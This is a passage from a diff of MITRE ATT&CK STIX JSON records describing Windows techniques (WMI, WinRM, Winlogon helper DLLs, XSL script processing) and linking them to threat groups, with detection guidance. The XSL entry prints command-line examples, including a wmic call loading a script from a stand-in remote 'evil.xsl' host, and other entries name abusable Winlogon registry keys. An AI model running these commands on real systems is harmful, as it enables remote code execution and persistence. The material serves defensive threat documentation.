2016.", + "url": "https://en.wikipedia.org/wiki/Server_Message_Block" + }, + { + "source_name": "TechNet RPC", + "description": "Microsoft. (2003, March 28). What Is RPC?. Retrieved June 12, 2016.", + "url": "https://technet.microsoft.com/en-us/library/cc787851.aspx" + }, + { + "source_name": "Microsoft Admin Shares", + "description": "Microsoft. (n.d.). How to create and delete hidden or administrative shares on client computers. Retrieved November 20, 2014.", + "url": "http://support.microsoft.com/kb/314984" + }, + { + "source_name": "Technet Net Use", + "description": "Microsoft. (n.d.). Net Use. Retrieved November 25, 2016.", + "url": "https://technet.microsoft.com/bb490717.aspx" + }, + { + "description": "Payne, J. (2015, November 26). Tracking Lateral Movement Part One - Special Groups and Specific Service Accounts. Retrieved February 1, 2016.", + "source_name": "Lateral Movement Payne", + "url": "http://blogs.technet.com/b/jepayne/archive/2015/11/27/tracking-lateral-movement-part-one-special-groups-and-specific-service-accounts.aspx" + }, + { + "source_name": "Windows Event Forwarding Payne", + "description": "Payne, J. (2015, November 23). Monitoring what matters - Windows Event Forwarding for everyone (even if you already have a SIEM.). Retrieved February 1, 2016.", + "url": "http://blogs.technet.com/b/jepayne/archive/2015/11/24/monitoring-what-matters-windows-event-forwarding-for-everyone-even-if-you-already-have-a-siem.aspx" + }, + { + "description": "French, D. (2018, September 30). Detecting Lateral Movement Using Sysmon and Splunk. Retrieved October 11, 2019.", + "source_name": "Medium Detecting Lateral Movement", + "url": "https://medium.com/threatpunter/detecting-lateral-movement-using-sysmon-and-splunk-318d3be141bc" + } + ], + "modified": "2019-10-15T18:45:27.715Z" + }, + { + "x_mitre_permissions_required": [ + "User", + "Administrator" + ], + "x_mitre_data_sources": [ + "Authentication logs", + "Netflow/Enclave netflow", + "Process monitoring", + "Process command-line parameters" + ], + "name": "Windows Management Instrumentation", + "description": "Windows Management Instrumentation (WMI) is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) (Citation: Wikipedia SMB) and Remote Procedure Call Service (RPCS) (Citation: TechNet RPC) for remote access. RPCS operates over port 135. (Citation: MSDN WMI)\n\nAn adversary can use WMI to interact with local and remote systems and use it as a means to perform many tactic functions, such as gathering information for Discovery and remote Execution of files as part of Lateral Movement. (Citation: FireEye WMI 2015)", + "x_mitre_remote_support": true, + "id": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_system_requirements": [ + "WMI service, winmgmt, running.\nHost/network firewalls allowing SMB and WMI ports from source to destination.\nSMB authentication." + ], + "type": "attack-pattern", + "x_mitre_detection": "Monitor network traffic for WMI connections; the use of WMI in environments that do not typically use WMI may be suspect. Perform process monitoring to capture command-line arguments of \"wmic\" and detect commands that are used to perform remote behavior. (Citation: FireEye WMI 2015)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:30:44.329Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "execution" + } + ], + "external_references": [ + { + "external_id": "T1047", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1047" + }, + { + "source_name": "Wikipedia SMB", + "description": "Wikipedia. (2016, June 12). Server Message Block. Retrieved June 12, 2016.", + "url": "https://en.wikipedia.org/wiki/Server_Message_Block" + }, + { + "source_name": "TechNet RPC", + "description": "Microsoft. (2003, March 28). What Is RPC?. Retrieved June 12, 2016.", + "url": "https://technet.microsoft.com/en-us/library/cc787851.aspx" + }, + { + "source_name": "MSDN WMI", + "description": "Microsoft. (n.d.). Windows Management Instrumentation. Retrieved April 27, 2016.", + "url": "https://msdn.microsoft.com/en-us/library/aa394582.aspx" + }, + { + "source_name": "FireEye WMI 2015", + "description": "Ballenthin, W., et al. (2015). Windows Management Instrumentation (WMI) Offense, Defense, and Forensics. Retrieved March 30, 2016.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf" + } + ], + "modified": "2019-07-17T20:04:40.297Z" + }, + { + "x_mitre_permissions_required": [ + "Administrator", + "SYSTEM" + ], + "x_mitre_data_sources": [ + "WMI Objects" + ], + "name": "Windows Management Instrumentation Event Subscription", + "description": "Windows Management Instrumentation (WMI) can be used to install event filters, providers, consumers, and bindings that execute code when a defined event occurs. Adversaries may use the capabilities of WMI to subscribe to an event and execute arbitrary code when that event occurs, providing persistence on a system. Adversaries may attempt to evade detection of this technique by compiling WMI scripts into Windows Management Object (MOF) files (.mof extension). (Citation: Dell WMI Persistence) Examples of events that may be subscribed to are the wall clock time or the computer's uptime. (Citation: Kazanciyan 2014) Several threat groups have reportedly used this technique to maintain persistence. (Citation: Mandiant M-Trends 2015)", + "id": "attack-pattern--e906ae4d-1d3a-4675-be23-22f7311c0da4", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.1", + "type": "attack-pattern", + "x_mitre_detection": "Monitor WMI event subscription entries, comparing current WMI event subscriptions to known good subscriptions for each host. Tools such as Sysinternals Autoruns may also be used to detect WMI changes that could be attempts at persistence. (Citation: TechNet Autoruns) (Citation: Medium Detecting WMI Persistence)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:31:05.140Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + } + ], + "external_references": [ + { + "external_id": "T1084", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1084" + }, + { + "source_name": "Dell WMI Persistence", + "description": "Dell SecureWorks Counter Threat Unit\u2122 (CTU) Research Team. (2016, March 28). A Novel WMI Persistence Implementation. Retrieved March 30, 2016.", + "url": "https://www.secureworks.com/blog/wmi-persistence" + }, + { + "source_name": "Kazanciyan 2014", + "description": "Kazanciyan, R. & Hastings, M. (2014). Defcon 22 Presentation. Investigating PowerShell Attacks [slides]. Retrieved November 3, 2014.", + "url": "https://www.defcon.org/images/defcon-22/dc-22-presentations/Kazanciyan-Hastings/DEFCON-22-Ryan-Kazanciyan-Matt-Hastings-Investigating-Powershell-Attacks.pdf" + }, + { + "description": "Mandiant. (2015, February 24). M-Trends 2015: A View from the Front Lines. Retrieved May 18, 2016.", + "source_name": "Mandiant M-Trends 2015", + "url": "https://www2.fireeye.com/rs/fireye/images/rpt-m-trends-2015.pdf" + }, + { + "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.", + "source_name": "TechNet Autoruns", + "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902" + }, + { + "description": "French, D.. (2018, October 9). Detecting & Removing an Attacker\u2019s WMI Persistence. Retrieved October 11, 2019.", + "source_name": "Medium Detecting WMI Persistence", + "url": "https://medium.com/threatpunter/detecting-removing-wmi-persistence-60ccbb7dff96" + } + ], + "modified": "2019-10-15T18:43:47.703Z" + }, + { + "x_mitre_data_sources": [ + "File monitoring", + "Authentication logs", + "Netflow/Enclave netflow", + "Process monitoring", + "Process command-line parameters" + ], + "x_mitre_permissions_required": [ + "User", + "Administrator" + ], + "name": "Windows Remote Management", + "description": "Windows Remote Management (WinRM) is the name of both a Windows service and a protocol that allows a user to interact with a remote system (e.g., run an executable, modify the Registry, modify services). (Citation: Microsoft WinRM) It may be called with the winrm command or by any number of programs such as PowerShell. (Citation: Jacobsen 2014)", + "x_mitre_remote_support": true, + "id": "attack-pattern--c3bce4f4-9795-46c6-976e-8676300bbc39", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.1", + "x_mitre_system_requirements": [ + "WinRM listener turned on and configured on remote system" + ], + "type": "attack-pattern", + "x_mitre_detection": "Monitor use of WinRM within an environment by tracking service execution. If it is not normally used or is disabled, then this may be an indicator of suspicious behavior. Monitor processes created and actions taken by the WinRM process or a WinRM invoked script to correlate it with other related events. (Citation: Medium Detecting Lateral Movement)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:30:33.723Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "execution" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "lateral-movement" + } + ], + "external_references": [ + { + "external_id": "T1028", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1028" + }, + { + "source_name": "capec", + "external_id": "CAPEC-555", + "url": "https://capec.mitre.org/data/definitions/555.html" + }, + { + "source_name": "Microsoft WinRM", + "description": "Microsoft. (n.d.). Windows Remote Management. Retrieved November 12, 2014.", + "url": "http://msdn.microsoft.com/en-us/library/aa384426" + }, + { + "description": "Jacobsen, K. (2014, May 16). Lateral Movement with PowerShell[slides]. Retrieved November 12, 2014.", + "source_name": "Jacobsen 2014", + "url": "https://www.slideshare.net/kieranjacobsen/lateral-movement-with-power-shell-2" + }, + { + "description": "French, D. (2018, September 30). Detecting Lateral Movement Using Sysmon and Splunk. Retrieved October 11, 2019.", + "source_name": "Medium Detecting Lateral Movement", + "url": "https://medium.com/threatpunter/detecting-lateral-movement-using-sysmon-and-splunk-318d3be141bc" + } + ], + "modified": "2019-10-15T18:44:56.438Z" + }, + { + "x_mitre_data_sources": [ + "Windows Registry", + "File monitoring", + "Process monitoring" + ], + "x_mitre_permissions_required": [ + "Administrator", + "SYSTEM" + ], + "name": "Winlogon Helper DLL", + "description": "Winlogon.exe is a Windows component responsible for actions at logon/logoff as well as the secure attention sequence (SAS) triggered by Ctrl-Alt-Delete. Registry entries in HKLM\\Software\\[Wow6432Node\\]Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\ and HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\ are used to manage additional helper programs and functionalities that support Winlogon. (Citation: Cylance Reg Persistence Sept 2013) \n\nMalicious modifications to these Registry keys may cause Winlogon to load and execute malicious DLLs and/or executables. Specifically, the following subkeys have been known to be possibly vulnerable to abuse: (Citation: Cylance Reg Persistence Sept 2013)\n\n* Winlogon\\Notify - points to notification package DLLs that handle Winlogon events\n* Winlogon\\Userinit - points to userinit.exe, the user initialization program executed when a user logs on\n* Winlogon\\Shell - points to explorer.exe, the system shell executed when a user logs on\n\nAdversaries may take advantage of these features to repeatedly execute malicious code and establish Persistence.", + "id": "attack-pattern--514ede4c-78b3-4d78-a38b-daddf6217a79", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "attack-pattern", + "x_mitre_detection": "Monitor for changes to Registry entries associated with Winlogon that do not correlate with known software, patch cycles, etc. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current Winlogon helper values. (Citation: TechNet Autoruns) New DLLs written to System32 that do not correlate with known good software or patching may also be suspicious.\n\nLook for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Praetorian" + ], + "created": "2017-05-31T21:30:20.148Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + } + ], + "external_references": [ + { + "external_id": "T1004", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1004" + }, + { + "source_name": "capec", + "external_id": "CAPEC-579", + "url": "https://capec.mitre.org/data/definitions/579.html" + }, + { + "source_name": "Cylance Reg Persistence Sept 2013", + "description": "Langendorf, S. (2013, September 24). Windows Registry Persistence, Part 2: The Run Keys and Search-Order. Retrieved April 11, 2018.", + "url": "https://blog.cylance.com/windows-registry-persistence-part-2-the-run-keys-and-search-order" + }, + { + "source_name": "TechNet Autoruns", + "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.", + "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902" + } + ], + "modified": "2019-07-17T19:16:41.584Z" + }, + { + "x_mitre_data_sources": [ + "Process monitoring", + "Process command-line parameters", + "Process use of network", + "DLL monitoring" + ], + "x_mitre_permissions_required": [ + "User" + ], + "name": "XSL Script Processing", + "description": "Extensible Stylesheet Language (XSL) files are commonly used to describe the processing and rendering of data within XML files. To support complex operations, the XSL standard includes support for embedded scripting in various languages. (Citation: Microsoft XSLT Script Mar 2017)\n\nAdversaries may abuse this functionality to execute arbitrary files while potentially bypassing application whitelisting defenses. Similar to [Trusted Developer Utilities](https://attack.mitre.org/techniques/T1127), the Microsoft common line transformation utility binary (msxsl.exe) (Citation: Microsoft msxsl.exe) can be installed and used to execute malicious JavaScript embedded within local or remote (URL referenced) XSL files. (Citation: Penetration Testing Lab MSXSL July 2017) Since msxsl.exe is not installed by default, an adversary will likely need to package it with dropped files. (Citation: Reaqta MSXSL Spearphishing MAR 2018) Msxsl.exe takes two main arguments, an XML source file and an XSL stylesheet. Since the XSL file is valid XML, the adversary may call the same XSL file twice. When using msxsl.exe adversaries may also give the XML/XSL files an arbitrary file extension.(Citation: XSL Bypass Mar 2019)\n\nCommand-line examples:(Citation: Penetration Testing Lab MSXSL July 2017)(Citation: XSL Bypass Mar 2019)\n\n* msxsl.exe customers[.]xml script[.]xsl\n* msxsl.exe script[.]xsl script[.]xsl\n* msxsl.exe script[.]jpeg script[.]jpeg\n\nAnother variation of this technique, dubbed \u201cSquiblytwo\u201d, involves using [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) to invoke JScript or VBScript within an XSL file.(Citation: LOLBAS Wmic) This technique can also execute local/remote scripts and, similar to its [Regsvr32](https://attack.mitre.org/techniques/T1117)/ \"Squiblydoo\" counterpart, leverages a trusted, built-in Windows tool. Adversaries may abuse any alias in [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) provided they utilize the /FORMAT switch.(Citation: XSL Bypass Mar 2019)\n\nCommand-line examples:(Citation: XSL Bypass Mar 2019)(Citation: LOLBAS Wmic)\n\n* Local File: wmic process list /FORMAT:evil[.]xsl\n* Remote File: wmic os get /FORMAT:\u201dhttps[:]//example[.]com/evil[.]xsl\u201d", + "x_mitre_remote_support": false, + "id": "attack-pattern--ebbe170d-aa74-4946-8511-9921243415a3", + "modified": "2019-09-12T17:29:15.626Z", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.1", + "x_mitre_system_requirements": [ + "Microsoft Core XML Services (MSXML) or access to wmic.exe" + ], + "type": "attack-pattern", + "x_mitre_detection": "Use process monitoring to monitor the execution and arguments of msxsl.exe and wmic.exe. Compare recent invocations of these utilities with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity (ex: URL command line arguments, creation of external network connections, loading of DLLs associated with scripting). (Citation: LOLBAS Wmic) (Citation: Twitter SquiblyTwo Detection APR 2018) Command arguments used before and after the script invocation may also be useful in determining the origin and purpose of the payload being loaded.\n\nThe presence of msxsl.exe or other utilities that enable proxy execution that are typically used for development, debugging, and reverse engineering on a system that is not used for these purposes may be suspicious.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Avneet Singh", + "Casey Smith", + "Praetorian" + ], + "created": "2018-10-17T00:14:20.652Z", + "kill_chain_phases": [ + { + "phase_name": "defense-evasion", + "kill_chain_name": "mitre-attack" + }, + { + "phase_name": "execution", + "kill_chain_name": "mitre-attack" + } + ], + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "T1220", + "url": "https://attack.mitre.org/techniques/T1220" + }, + { + "source_name": "Microsoft XSLT Script Mar 2017", + "description": "Wenzel, M. et al. (2017, March 30). XSLT Stylesheet Scripting Using . Retrieved July 3, 2018.", + "url": "https://docs.microsoft.com/dotnet/standard/data/xml/xslt-stylesheet-scripting-using-msxsl-script" + }, + { + "source_name": "Microsoft msxsl.exe", + "description": "Microsoft. (n.d.). Command Line Transformation Utility (msxsl.exe). Retrieved July 3, 2018.", + "url": "https://www.microsoft.com/download/details.aspx?id=21714" + }, + { + "source_name": "Penetration Testing Lab MSXSL July 2017", + "description": "netbiosX. (2017, July 6). AppLocker Bypass \u2013 MSXSL. Retrieved July 3, 2018.", + "url": "https://pentestlab.blog/2017/07/06/applocker-bypass-msxsl/" + }, + { + "source_name": "Reaqta MSXSL Spearphishing MAR 2018", + "description": "Admin. (2018, March 2). Spear-phishing campaign leveraging on MSXSL. Retrieved July 3, 2018.", + "url": "https://reaqta.com/2018/03/spear-phishing-campaign-leveraging-msxsl/" + }, + { + "source_name": "XSL Bypass Mar 2019", + "description": "Singh, A. (2019, March 14). MSXSL.EXE and WMIC.EXE \u2014 A Way to Proxy Code Execution. Retrieved August 2, 2019.", + "url": "https://medium.com/@threathuntingteam/msxsl-exe-and-wmic-exe-a-way-to-proxy-code-execution-8d524f642b75" + }, + { + "description": "LOLBAS. (n.d.). Wmic.exe. Retrieved July 31, 2019.", + "source_name": "LOLBAS Wmic", + "url": "https://lolbas-project.github.io/lolbas/Binaries/Wmic/" + }, + { + "source_name": "Twitter SquiblyTwo Detection APR 2018", + "description": "Desimone, J. (2018, April 18). Status Update. Retrieved July 3, 2018.", + "url": "https://twitter.com/dez_/status/986614411711442944" + } + ], + "x_mitre_defense_bypassed": [ + "Anti-virus", + "Application whitelisting", + "Digital Certificate Validation" + ] + }, + { + "type": "relationship", + "target_ref": "attack-pattern--ca1a3f50-5ebd-41f8-8320-2c7d6a6e88be", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.026Z", + "id": "relationship--483a70b9-eae9-4d5f-925c-95c2dd7b9fa5", + "source_ref": "course-of-action--beb45abb-11e8-4aef-9778-1f9ac249784f", + "modified": "2019-07-24T14:13:23.722Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "malware--4e6b9625-bbda-4d96-a652-b3bb45453f26", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--f24d37c0-283d-4f37-8278-07fc75cc0e94", + "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9", + "modified": "2019-04-29T18:01:20.637Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Symantec Buckeye", + "description": "Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.", + "url": "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63", + "description": "[APT37](https://attack.mitre.org/groups/G0067) has used Flash Player (CVE-2016-4117, CVE-2018-4878) and Word (CVE-2017-0199) exploits for execution.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--857b5ce3-0eb0-4dae-a034-42cfa306a447", + "source_ref": "intrusion-set--4a2ce82e-1a74-468a-a6fb-bbead541383c", + "modified": "2019-09-09T19:12:32.476Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Securelist ScarCruft Jun 2016", + "description": "Raiu, C., and Ivanov, A. (2016, June 17). Operation Daybreak. Retrieved February 15, 2018.", + "url": "https://securelist.com/operation-daybreak/75100/" + }, + { + "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.", + "source_name": "FireEye APT37 Feb 2018", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf" + }, + { + "source_name": "Talos Group123", + "description": "Mercer, W., Rascagneres, P. (2018, January 16). Korea In The Crosshairs. Retrieved May 21, 2018.", + "url": "https://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--6faf650d-bf31-4eb4-802d-1000cf38efaf", + "description": "[FIN7](https://attack.mitre.org/groups/G0046) created a custom video recording capability that could be used to monitor operations in the victim's environment.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--91926031-c1b4-462b-8597-20b10e7211ef", + "source_ref": "intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc", + "modified": "2019-06-30T23:13:18.234Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye FIN7 Aug 2018", + "description": "Carr, N., et al. (2018, August 01). On the Hunt for FIN7: Pursuing an Enigmatic and Evasive Global Criminal Operation. Retrieved August 23, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html" + }, + { + "source_name": "DOJ FIN7 Aug 2018", + "description": "Department of Justice. (2018, August 01). HOW FIN7 ATTACKED AND STOLE DATA. Retrieved August 24, 2018.", + "url": "https://www.justice.gov/opa/press-release/file/1084361/download" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--af2ad3b7-ab6a-4807-91fd-51bcaff9acbb", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.041Z", + "id": "relationship--d26b3aeb-972f-471e-ab59-dc1ee2aa532e", + "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", + "modified": "2019-09-09T17:44:35.665Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "ESET Sednit Part 3", + "description": "ESET. (2016, October). En Route with Sednit - Part 3: A Mysterious Downloader. Retrieved November 21, 2016.", + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part3.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "description": "[OilRig](https://attack.mitre.org/groups/G0049) has run tasklist on a victim's machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--d8e375a3-f455-4c66-bc63-251f320ec8b1", + "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d", + "modified": "2019-09-04T22:55:40.600Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Palo Alto OilRig May 2016", + "description": "Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.", + "url": "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "description": "[BADNEWS](https://attack.mitre.org/software/S0128) establishes a backdoor over HTTP.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--0f76d408-be8a-478e-8a5a-aab1d1f96572", + "source_ref": "malware--e9595678-d269-469e-ae6b-75e49259de63", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Levene, B. et al.. (2018, March 7). Patchwork Continues to Deliver BADNEWS to the Indian Subcontinent. Retrieved March 31, 2018.", + "source_name": "PaloAlto Patchwork Mar 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/03/unit42-patchwork-continues-deliver-badnews-indian-subcontinent/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc", + "description": "[APT29](https://attack.mitre.org/groups/G0016) added Registry Run keys to establish persistence.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.049Z", + "id": "relationship--343d285a-e910-487b-8e85-dc87cdb63be3", + "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", + "modified": "2019-07-25T14:25:53.037Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Dunwoody, M. and Carr, N.. (2016, September 27). No Easy Breach DerbyCon 2016. Retrieved October 4, 2016.", + "source_name": "Mandiant No Easy Breach", + "url": "http://www.slideshare.net/MatthewDunwoody1/no-easy-breach-derby-con-2016" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44", + "description": "[APT29](https://attack.mitre.org/groups/G0016) has used encoded PowerShell scripts uploaded to [CozyCar](https://attack.mitre.org/software/S0046) installations to download and install [SeaDuke](https://attack.mitre.org/software/S0053), as well as to evade defenses.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.048Z", + "id": "relationship--00ce7309-114c-45a1-b905-f7a973cb3837", + "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", + "modified": "2019-07-25T14:25:53.065Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Symantec Security Response. (2015, July 13). \u201cForkmeiamfamous\u201d: Seaduke, latest weapon in the Duke armory. Retrieved July 22, 2015.", + "source_name": "Symantec Seaduke 2015", + "url": "http://www.symantec.com/connect/blogs/forkmeiamfamous-seaduke-latest-weapon-duke-armory" + }, + { + "description": "Dunwoody, M. and Carr, N.. (2016, September 27). No Easy Breach DerbyCon 2016. Retrieved October 4, 2016.", + "source_name": "Mandiant No Easy Breach", + "url": "http://www.slideshare.net/MatthewDunwoody1/no-easy-breach-derby-con-2016" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055", + "description": "[menuPass](https://attack.mitre.org/groups/G0045) uses a modified version of pentesting script wmiexec.vbs, which logs into a remote machine using WMI.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--04203d88-5fe1-4e63-be65-51a17705716b", + "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f", + "modified": "2019-09-03T18:50:16.264Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.", + "source_name": "PWC Cloud Hopper Technical Annex April 2017", + "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf" + }, + { + "description": "Twi1ight. (2015, July 11). AD-Pentest-Script - wmiexec.vbs. Retrieved June 29, 2017.", + "source_name": "Github AD-Pentest-Script", + "url": "https://github.com/Twi1ight/AD-Pentest-Script/blob/master/wmiexec.vbs" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5", + "description": "[Ke3chang](https://attack.mitre.org/groups/G0004) gathered information and files from local directories for exfiltration.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.034Z", + "id": "relationship--8c763d80-4c50-4ebd-b2c6-3cad22c55bfa", + "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c", + "modified": "2019-04-22T15:08:48.239Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Villeneuve et al 2014", + "description": "Villeneuve, N., Bennett, J. T., Moran, N., Haq, T., Scott, M., & Geers, K. (2014). OPERATION \u201cKE3CHANG\u201d: Targeted Attacks Against Ministries of Foreign Affairs. Retrieved November 12, 2014.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-ke3chang.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5", + "description": "[Bankshot](https://attack.mitre.org/software/S0239) collects files from the local system.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--119cfc44-4018-4ce0-b223-b0f353d1c113", + "source_ref": 